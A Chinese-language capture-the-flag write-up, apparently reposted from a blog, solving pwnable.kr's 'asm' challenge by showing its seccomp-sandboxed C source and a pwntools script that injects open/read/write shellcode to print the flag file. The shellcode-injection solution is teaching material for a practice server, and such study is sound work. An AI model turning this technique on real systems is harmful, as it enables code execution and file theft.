pwnable 题目解析:[Toddler‘s Bottle]-asm 使用 pwntools 生成基本的 shellcode

0x10 题目描述

Mommy! I think I know how to make shellcodes
ssh [email protected] -p2222 (pw: guest)

源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
    
    
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
    
    
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
    
    
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
    
    

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

0x20 分析

源码很简单,意思是让我们输入一个 shellcode,能够打开 flag 文件。shellcode 是 16 进制机器码,通常用于获取 shell 漏洞利用代码

pwntools 提供了 shellcraft 模块,用于生成 shellcode。子模块用于声明架构,比如 shellcraft.arm 表示生成 arm 架构的 shellcode。或者在整个漏洞利用的代码前面,添加 context(arch="arm") ,可以免于声明子模块。

题目的源码本身就有一段十六进制的代码,先来看看这段机器码的含义

在线反汇编

http://shell-storm.org/online/Online-Assembler-and-Disassembler/
在这里插入图片描述
pwntools 反汇编
在这里插入图片描述
可以看出,sh 变量最开始的部分的汇编代码,就是将各个寄存器清0,方便我们后面使用添加 shellcode 引用相应的寄存器。sh 是运行在沙箱中,沙箱已经规定了我们只能使用 read、write、open 这类函数,这也提醒我们,使用 open 函数打开 flag 文件,read 读取文件内容,write 写到标准输出 stdout,这样就可以从屏幕打印出来 flag

from pwn import *

# pwntools 提供了 ssh 用于远程连接
con = ssh(host="pwnable.kr", user="asm", password="guest", port=2222)
# 加载程序(connect_remote 相当于 nc)
io = con.connect_remote("localhost", 9026)
context(log_level="info", os="linux", arch="amd64")

shellcode = shellcraft.open("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.read("rax", "rsp", 100)
shellcode += shellcraft.write(1, "rsp", 100)

io.recvuntil("challenge :)\n")
io.sendline(asm(shellcode))
print(io.recvline())

结果
在这里插入图片描述

0x30 总结

本题的目标就是让我们学会使用 pwntools 的 shellcraft 模块,生成相应架构的 shellcode。

猜你喜欢

转载自blog.csdn.net/song_lee/article/details/106532324